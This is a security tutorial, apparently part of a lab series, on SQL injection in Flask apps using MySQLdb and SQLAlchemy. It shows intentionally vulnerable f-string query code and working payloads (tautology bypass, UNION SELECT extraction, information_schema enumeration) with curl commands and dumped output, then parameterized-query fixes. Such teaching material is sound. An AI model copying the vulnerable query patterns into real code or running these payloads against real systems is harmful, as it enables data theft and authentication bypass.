SQL Injection (SQLi) in Flask Application
SQL Injection (SQLi) is a class of injection attacks where untrusted input is inserted into SQL queries, allowing attackers to manipulate database operations.
If the application constructs queries using unsanitized user input, attackers may execute arbitrary SQL statements, extract sensitive data, bypass authentication, or even destroy database content.
In Flask applications, SQL injection can occur regardless of which database driver or ORM layer is used if developers improperly handle user input.
In this section, we will explore SQL injection scenarios in Flask using both MySQLdb and SQLAlchemy.
SQL Injection using MySQLdb
The following Flask application uses MySQLdb to interact with a MySQL database. The vulnerability arises because user input is directly embedded into the query string without any sanitization or parameterization.
The following Flask application uses MySQLdb to interact with a MySQL database.
from flask import Flask, request, jsonify
import MySQLdb
app = Flask(__name__)
def get_db_connection():
return MySQLdb.connect(
host="localhost",
user="root",
passwd="password",
db="pyfu_db"
)
@app.route("/user")
def get_user():
username = request.args.get("username", "")
db = get_db_connection()
cursor = db.cursor()
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
result = cursor.fetchall()
users = [{"id": row[0], "username": row[1], "email": row[2]} for row in result]
db.close()
return jsonify(users)
The application takes the username parameter from the HTTP request and directly inserts it into the SQL statement using Python f-string interpolation stored in the query variable.
This raw string in the query variable represents the SQL query with the user input directly treated as a string in the query, which means the attacker can break it to inject malicious queries.
For example, a normal request to /user?username=askar produces this query:
SELECT * FROM users WHERE username = 'askar'
The attacker starts by injecting a single quote (/user?username=') to break out of the string literal. The resulting query becomes syntactically invalid:
SELECT * FROM users WHERE username = '''
The database raises a syntax error, which the application surfaces in its response. That error is the confirmation that the input lands inside the query unescaped.
Authentication-style bypass and dumping all rows
Once the attacker controls the query, they can append a condition that is always true. Sending /user?username=' OR '1'='1 produces:
SELECT * FROM users WHERE username = '' OR '1'='1'
The OR '1'='1' clause matches every row, so the endpoint returns the full users table instead of a single account. In a login flow built on the same pattern, this is a classic authentication bypass.
UNION-based data extraction
Because the endpoint reflects query results back as JSON, the attacker can use a UNION SELECT to read arbitrary data from the database. The original query selects three columns (id, username, email), so the injected UNION must also return three columns. Sending /user?username=' UNION SELECT 1,@@version,3-- - produces:
SELECT * FROM users WHERE username = '' UNION SELECT 1,@@version,3-- -'
The -- - sequence comments out the trailing quote so the statement stays valid. The response now includes the MySQL version string in the username field of the returned object. From here the attacker can pivot to enumerating tables and columns through information_schema:
' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
SQL Injection using SQLAlchemy
Developers often assume that using SQLAlchemy automatically protects them from SQL injection. This is only true when queries are expressed through the ORM or with bound parameters. The moment user input is interpolated into a raw text() clause, the protection is gone.
The following Flask application uses SQLAlchemy Core but builds its query with an f-string:
from flask import Flask, request, jsonify
from sqlalchemy import create_engine, text
app = Flask(__name__)
engine = create_engine("mysql+mysqldb://root:password@localhost/pyfu_db")
@app.route("/product")
def get_product():
name = request.args.get("name", "")
with engine.connect() as conn:
# Vulnerable: user input interpolated directly into the SQL text
query = text(f"SELECT * FROM products WHERE name = '{name}'")
result = conn.execute(query)
rows = [dict(row._mapping) for row in result]
return jsonify(rows)
Wrapping the string in text() does not sanitize anything; it only marks the string as a literal SQL statement. The name value is still concatenated into the query before SQLAlchemy ever sees it, so the exact same payloads work:
curl "http://localhost:5000/product?name=' OR '1'='1"
curl "http://localhost:5000/product?name=' UNION SELECT 1,@@version,3-- -"
The same flaw appears when developers pass interpolated strings into session.execute() or filter with filter(text("name = '%s'" % name)). Any path that places untrusted input into the SQL text rather than into a bound parameter is exploitable.
Why SQL injection matters from an offensive security perspective
SQLi stays at the top of my priority list because it is a direct line to the data the application exists to protect. A single injectable parameter gives me authentication bypass through a tautology, full-table extraction through UNION SELECT, and schema enumeration through information_schema, and on many deployments it pivots further: file read and write through INTO OUTFILE, stacked queries, or even command execution through database features. In Python web apps the bug is depressingly common because developers reach for f-strings to build queries and assume an ORM saves them. SQLAlchemy only parameterizes when you let it; the moment input lands in a text() string or a %-formatted filter, the protection is gone.
These are the tells I look for:
- f-strings,
%,.format(), or+building a query.f"... WHERE x = '{value}'"handed tocursor.executeortext()is the canonical sink, and I grep for it first. text()wrapping interpolated input.text()only marks a string as SQL, it sanitizes nothing;text(f"...")is fully injectable.- A single quote that changes the response. A
'that produces a SQL syntax error confirms the input lands inside the query unescaped. - Reflected query results. Endpoints that return rows as JSON make
UNION-based extraction trivial, since I can read arbitrary columns straight out of the response. filter(text(...))andsession.execute(...)with formatted strings. ORM presence is not protection when raw SQL text is built from input.
The defender takeaway: parameterize everything so the driver sends query structure and data separately, and ' OR '1'='1 becomes a literal string to match rather than executable syntax.
Proof of exploitation
Run the lab app (PyFuLabs/flask-fu/flask-sqli). The username value is concatenated into the query, so a tautology returns every row:
curl -sG "http://pyfu.local/flask-fu/flask-sqli/user" --data-urlencode "username=' OR '1'='1"
[
{"email": "admin@pyfu.local", "id": 1, "username": "admin"},
{"email": "askar@pyfu.local", "id": 2, "username": "askar"},
{"email": "alice@pyfu.local", "id": 3, "username": "alice"},
{"email": "bob@pyfu.local", "id": 4, "username": "bob"}
]
The injected ' OR '1'='1 made the WHERE clause always true, dumping the table.
Mitigation
The fix in both cases is parameterized queries, where the driver sends the SQL structure and the data separately so user input can never alter the query.
For MySQLdb, pass values as parameters using placeholders instead of f-strings:
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
For SQLAlchemy Core, use bound parameters with text():
query = text("SELECT * FROM products WHERE name = :name")
result = conn.execute(query, {"name": name})
When using the SQLAlchemy ORM, expressing the filter through model attributes is parameterized automatically:
products = session.query(Product).filter(Product.name == name).all()
In every secure version, the input ' OR '1'='1 is treated as a literal string to match against, not as SQL syntax, so the injection collapses into a harmless (and empty) search.